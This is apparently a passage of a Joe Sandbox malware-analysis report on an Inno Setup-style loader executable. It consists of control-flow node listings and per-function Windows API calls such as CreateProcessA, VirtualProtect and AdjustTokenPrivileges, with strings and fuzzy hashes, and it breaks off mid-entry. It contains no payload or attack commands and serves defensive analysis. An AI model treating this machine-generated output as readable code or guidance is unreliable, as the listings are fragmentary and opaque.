6037->6047 6040 4035b1 6038->6040 6041 4035b8 6038->6041 6039->6033 6042 403198 4 API calls 6040->6042 6043 4031b8 4 API calls 6041->6043 6042->6039 6043->6039 6044->6038 6048 4035ec 6044->6048 6045 40357c 4 API calls 6045->6047 6046 403554 4 API calls 6046->6048 6047->6039 6047->6045 6048->6039 6048->6046 6762 402be9 RaiseException 6763 402c04 6762->6763 6469 402af2 6470 402afe 6469->6470 6473 402ed0 6470->6473 6474 403154 4 API calls 6473->6474 6476 402ee0 6474->6476 6475 402b03 6476->6475 6478 402b0c 6476->6478 6479 402b25 6478->6479 6480 402b15 RaiseException 6478->6480 6479->6475 6480->6479 6764 402dfa 6765 402e26 6764->6765 6766 402e0d 6764->6766 6768 402ba4 6766->6768 6769 402bc9 6768->6769 6770 402bad 6768->6770 6769->6765 6771 402bb5 RaiseException 6770->6771 6771->6769 6772 4075fa GetFileSize 6773 407626 6772->6773 6774 407616 GetLastError 6772->6774 6774->6773 6775 40761f 6774->6775 6776 40748c 35 API calls 6775->6776 6776->6773 6777 406ffb 6778 407008 SetErrorMode 6777->6778 6485 403a80 CloseHandle 6486 403a90 6485->6486 6487 403a91 GetLastError 6485->6487 6488 40a282 6490 40a1f4 6488->6490 6489 40a220 6492 40a239 6489->6492 6495 40a233 RemoveDirectoryA 6489->6495 6490->6489 6491 4094d8 9 API calls 6490->6491 6491->6489 6493 40a242 DestroyWindow 6492->6493 6494 40a24d 6492->6494 6493->6494 6496 40a275 6494->6496 6497 40357c 4 API calls 6494->6497 6495->6492 6498 40a26b 6497->6498 6499 4025ac 4 API calls 6498->6499 6499->6496 6500 404283 6501 4042c3 6500->6501 6502 403154 4 API calls 6501->6502 6503 404323 6502->6503 6779 404185 6780 4041ff 6779->6780 6781 4041cc 6780->6781 6782 403154 4 API calls 6780->6782 6783 404323 6782->6783 6504 40a287 6505 40a290 6504->6505 6507 40a2bb 6504->6507 6514 409448 6505->6514 6509 403198 4 API calls 6507->6509 6508 40a295 6508->6507 6511 40a2b3 MessageBoxA 6508->6511 6510 40a2f3 6509->6510 6512 403198 4 API calls 6510->6512 6511->6507 6513 40a2fb 6512->6513 6515 409454 GetCurrentProcess OpenProcessToken 6514->6515 6516 4094af ExitWindowsEx 6514->6516 6517 409466 6515->6517 6518 40946a LookupPrivilegeValueA AdjustTokenPrivileges GetLastError 6515->6518 6516->6517 6517->6508 6518->6516 6518->6517 6519 403e87 6521 403e4c 6519->6521 6520 403e67 6526 403e78 6520->6526 6532 402674 6520->6532 6521->6520 6522 403e62 6521->6522 6523 403e7b 6521->6523 6528 403cc8 6522->6528 6524 402674 4 API calls 6523->6524 6524->6526 6530 403cd6 6528->6530 6529 403ceb 6529->6520 6530->6529 6531 402674 4 API calls 6530->6531 6531->6529 6533 403154 4 API calls 6532->6533 6534 40267a 6533->6534 6534->6526 6543 407e90 6544 407eb8 VirtualFree 6543->6544 6545 407e9d 6544->6545 6788 403991 6789 403983 6788->6789 6790 40374c VariantClear 6789->6790 6791 40398b 6790->6791 6548 403e95 6549 403e4c 6548->6549 6550 403e62 6549->6550 6551 403e7b 6549->6551 6552 403e67 6549->6552 6554 403cc8 4 API calls 6550->6554 6553 402674 4 API calls 6551->6553 6555 403e78 6552->6555 6556 402674 4 API calls 6552->6556 6553->6555 6554->6552 6556->6555 6557 403a97 6558 403aac 6557->6558 6559 403bbc GetStdHandle 6558->6559 6560 403b0e CreateFileA 6558->6560 6570 403ab2 6558->6570 6561 403c17 GetLastError 6559->6561 6565 403bba 6559->6565 6560->6561 6562 403b2c 6560->6562 6561->6570 6564 403b3b GetFileSize 6562->6564 6562->6565 6564->6561 6566 403b4e SetFilePointer 6564->6566 6567 403be7 GetFileType 6565->6567 6565->6570 6566->6561 6571 403b6a ReadFile 6566->6571 6569 403c02 CloseHandle 6567->6569 6567->6570 6569->6570 6571->6561 6572 403b8c 6571->6572 6572->6565 6573 403b9f SetFilePointer 6572->6573 6573->6561 6574 403bb0 SetEndOfFile 6573->6574 6574->6561 6574->6565 6796 405ba2 6798 405ba4 6796->6798 6797 405be0 6801 405940 19 API calls 6797->6801 6798->6797 6799 405bf7 6798->6799 6800 405bda 6798->6800 6805 404cdc 19 API calls 6799->6805 6800->6797 6802 405c4c 6800->6802 6803 405bf3 6801->6803 6804 4059b0 33 API calls 6802->6804 6807 403198 4 API calls 6803->6807 6804->6803 6806 405c20 6805->6806 6808 4059b0 33 API calls 6806->6808 6809 405c86 6807->6809 6808->6803 6810 408da4 6811 408dc8 6810->6811 6812 408c80 18 API calls 6811->6812 6813 408dd1 6812->6813 6575 402caa 6576 403154 4 API calls 6575->6576 6577 402caf 6576->6577 6828 4011aa 6829 4011ac GetStdHandle 6828->6829 6075 4076ac SetEndOfFile 6076 4076c3 6075->6076 6077 4076bc 6075->6077 6078 40748c 35 API calls 6077->6078 6078->6076 6578 4028ac 6579 402594 18 API calls 6578->6579 6580 4028b6 6579->6580 6581 401ab9 6582 401a96 6581->6582 6583 401aa9 RtlDeleteCriticalSection 6582->6583 6584 401a9f RtlLeaveCriticalSection 6582->6584 6584->6583

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 116 409b30-409b54 GetSystemInfo VirtualQuery 117 409be4-409beb 116->117 118 409b5a 116->118 119 409bd9-409bde 118->119 119->117 120 409b5c-409b63 119->120 121 409bc5-409bd7 VirtualQuery 120->121 122 409b65-409b69 120->122 121->117 121->119 122->121 123 409b6b-409b73 122->123 124 409b84-409b95 VirtualProtect 123->124 125 409b75-409b78 123->125 127 409b97 124->127 128 409b99-409b9b 124->128 125->124 126 409b7a-409b7d 125->126 126->124 129 409b7f-409b82 126->129 127->128 130 409baa-409bad 128->130 129->124 129->128 131 409b9d-409ba6 call 409b28 130->131 132 409baf-409bb1 130->132 131->130 132->121 134 409bb3-409bc0 VirtualProtect 132->134 134->121
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemInfo.KERNEL32(?), ref: 00409B42
                                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409B4D
                                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 00409B8E
                                                                                                                                                                                                                                      • VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 00409BC0
                                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409BD0
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Virtual$ProtectQuery$InfoSystem
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2441996862-0
                                                                                                                                                                                                                                      • Opcode ID: 9fe1c1492d4e2c4f54cecc4c125b8c20c153f3aea56d010d52fe367946264e59
                                                                                                                                                                                                                                      • Instruction ID: 3002c4020e31fcb34e6ffc2d5983d7aa910ebdc8277ab133fd4bc27d875cdae8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9fe1c1492d4e2c4f54cecc4c125b8c20c153f3aea56d010d52fe367946264e59
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F4219DB12003046BD7709AA99C85E5777E9EB85370F04082BFA89E32D3D239FC40C669
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: InfoLocale
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2299586839-0
                                                                                                                                                                                                                                      • Opcode ID: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
                                                                                                                                                                                                                                      • Instruction ID: 1248db9972fbf410c55bf070b604c98f5d62b90992f8f49b6b6440a9954d2c50
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 08facca5f8c818d7ae0117448837c5e97f15c9e55cb3aedc2694e0bc5091a832
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E2E0927170021427D710A9A99C86AEB725CEB58310F0002BFB904E73C6EDB49E804AED

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,?,00409C60), ref: 00404582
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040458F
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004045A5
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004045BB
                                                                                                                                                                                                                                      • SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00409C60), ref: 004045C6
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$HandleModulePolicyProcess
                                                                                                                                                                                                                                      • String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 3256987805-3653653586
                                                                                                                                                                                                                                      • Opcode ID: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
                                                                                                                                                                                                                                      • Instruction ID: 1f393095ee8ecda9e1e01b6ca7d440447e938bbc9796bcd5dbe8d266940e5f64
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5152b1c660b0fef0348360efae9d442e0d6811f491f57bfacbbc157bf84edc67
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5FE02DD03813013AEA5032F20D83B2B20884AD0B49B2414377F25B61C3EDBDDA40587E

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetLastError.KERNEL32 ref: 0040A0F4
                                                                                                                                                                                                                                        • Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B240,?,020A2324), ref: 0040966C
                                                                                                                                                                                                                                      • CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A131
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(00020138,000000FC,00409918), ref: 0040A148
                                                                                                                                                                                                                                      • RemoveDirectoryA.KERNEL32(00000000,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A234
                                                                                                                                                                                                                                      • DestroyWindow.USER32(00020138,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A248
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$ErrorLast$CreateDestroyDirectoryLongRemove
                                                                                                                                                                                                                                      • String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
                                                                                                                                                                                                                                      • API String ID: 3757039580-3001827809
                                                                                                                                                                                                                                      • Opcode ID: 92d7a146f7fa7ea583be229cf1972f4387f7e731d45899e9009fd1a518b8a977
                                                                                                                                                                                                                                      • Instruction ID: f6a9afe5b3848034850d92184c83b7d566fc641e007638e18ad9d31f508a71de
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 92d7a146f7fa7ea583be229cf1972f4387f7e731d45899e9009fd1a518b8a977
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3B411071600204DFD710EBA9EE86B9977A4EB45304F10467EF514B73E2C7B89811CB9D

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,00409C74), ref: 004090C4
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090CA
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,0040913D,?,?,?,?,00000000,?,00409C74), ref: 004090DE
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004090E4
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                      • String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
                                                                                                                                                                                                                                      • API String ID: 1646373207-2130885113
                                                                                                                                                                                                                                      • Opcode ID: acfb4439f313785c2c2b120c37d6defef782ad7ac64c67e7eba3e924cf2abd75
                                                                                                                                                                                                                                      • Instruction ID: 4a4222b704d734fa8d0781b40c04fe9f9c76e7b4f133337d95099c0c8a01123f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: acfb4439f313785c2c2b120c37d6defef782ad7ac64c67e7eba3e924cf2abd75
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 20017170748342AEFB00BB72DD4AB163A68E785704F50457BF5407A2D3DABD4C04DA6D

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateWindowExA.USER32(00000000,STATIC,InnoSetupLdrWindow,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0040A131
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(00020138,000000FC,00409918), ref: 0040A148
                                                                                                                                                                                                                                        • Part of subcall function 00406B7C: GetCommandLineA.KERNEL32(00000000,00406BC0,?,?,?,?,00000000,?,0040A1B9,?), ref: 00406B94
                                                                                                                                                                                                                                        • Part of subcall function 004099A4: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90,00000000,00409A77), ref: 00409A14
                                                                                                                                                                                                                                        • Part of subcall function 004099A4: CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90,00000000), ref: 00409A28
                                                                                                                                                                                                                                        • Part of subcall function 004099A4: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A41
                                                                                                                                                                                                                                        • Part of subcall function 004099A4: GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409A53
                                                                                                                                                                                                                                        • Part of subcall function 004099A4: CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90), ref: 00409A5C
                                                                                                                                                                                                                                      • RemoveDirectoryA.KERNEL32(00000000,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A234
                                                                                                                                                                                                                                      • DestroyWindow.USER32(00020138,0040A287,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040A248
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$CloseCreateHandleProcess$CodeCommandDestroyDirectoryExitLineLongMultipleObjectsRemoveWait
                                                                                                                                                                                                                                      • String ID: /SL5="$%x,%d,%d,$InnoSetupLdrWindow$STATIC
                                                                                                                                                                                                                                      • API String ID: 3586484885-3001827809
                                                                                                                                                                                                                                      • Opcode ID: a64027cc69530ce26e0d020b421cb23cd984c73ff13cd53596b8d38fe4c4ed4c
                                                                                                                                                                                                                                      • Instruction ID: bf8877be64b1eb53a955be5febe4cb156f3d413c702a3b20994545be7baf65d7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a64027cc69530ce26e0d020b421cb23cd984c73ff13cd53596b8d38fe4c4ed4c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 75411A71604204DFD714EBA9EE86B5A77A4EB49304F10427EE514B73E1CBB8A810CB9D

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90,00000000,00409A77), ref: 00409A14
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90,00000000), ref: 00409A28
                                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00409A41
                                                                                                                                                                                                                                      • GetExitCodeProcess.KERNEL32(?,0040B240), ref: 00409A53
                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,?,00409A9C,020A2324,00409A90), ref: 00409A5C
                                                                                                                                                                                                                                        • Part of subcall function 00409648: GetLastError.KERNEL32(00000000,004096EB,?,0040B240,?,020A2324), ref: 0040966C
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseHandleProcess$CodeCreateErrorExitLastMultipleObjectsWait
                                                                                                                                                                                                                                      • String ID: D
                                                                                                                                                                                                                                      • API String ID: 3356880605-2746444292
                                                                                                                                                                                                                                      • Opcode ID: 752074f715f169f8c9b0a2dfdb1d62babdf7ca20371da5ab86507c15e851728d
                                                                                                                                                                                                                                      • Instruction ID: 6ea97129cf5aa135a7f7046e3a99eae43c862e8aca722617c6144c18eae127a8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 752074f715f169f8c9b0a2dfdb1d62babdf7ca20371da5ab86507c15e851728d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3A1142B17442486EDB10EBE68C42FAEB7ACEF49714F50017BB604F72C2DA785D048A69

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 136 401918-40193a RtlInitializeCriticalSection 137 401946-40197c call 4012dc * 3 LocalAlloc 136->137 138 40193c-401941 RtlEnterCriticalSection 136->138 145 4019ad-4019c1 137->145 146 40197e 137->146 138->137 150 4019c3-4019c8 RtlLeaveCriticalSection 145->150 151 4019cd 145->151 147 401983-401995 146->147 147->147 149 401997-4019a6 147->149 149->145 150->151
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
                                                                                                                                                                                                                                      • LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
                                                                                                                                                                                                                                      • RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 730355536-0
                                                                                                                                                                                                                                      • Opcode ID: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
                                                                                                                                                                                                                                      • Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 38709c719971e1168baf9cdc3c67f999ad3db3ab521e9349fb3b390a12b3c6f3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409EAB
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message
                                                                                                                                                                                                                                      • String ID: .tmp$y@
                                                                                                                                                                                                                                      • API String ID: 2030045667-2396523267
                                                                                                                                                                                                                                      • Opcode ID: 025cb7c8070ceb0a973f57dc2423f3e96cefce6b80174f3a3145c26c436c6efd
                                                                                                                                                                                                                                      • Instruction ID: 436c98ae07f88f71ec52beeb6e72a39fdb1c754e3b127fd60db974180cd34f4e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 025cb7c8070ceb0a973f57dc2423f3e96cefce6b80174f3a3145c26c436c6efd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7541AC30600200DFC715EF25DE96A5A77A5EB49304B50463AF804B73E2CBB9AC05CBAD

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • MessageBoxA.USER32(00000000,00000000,00000000,00000024), ref: 00409EAB
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message
                                                                                                                                                                                                                                      • String ID: .tmp$y@
                                                                                                                                                                                                                                      • API String ID: 2030045667-2396523267
                                                                                                                                                                                                                                      • Opcode ID: cf567291c84692d100e5ec609b282d55b3c5af0b5f3d357f2e8f357a6d06844b
                                                                                                                                                                                                                                      • Instruction ID: effdcd9541676c6323f3fad609c54d18bb0bf767b5f2530b550772909ae59cb2
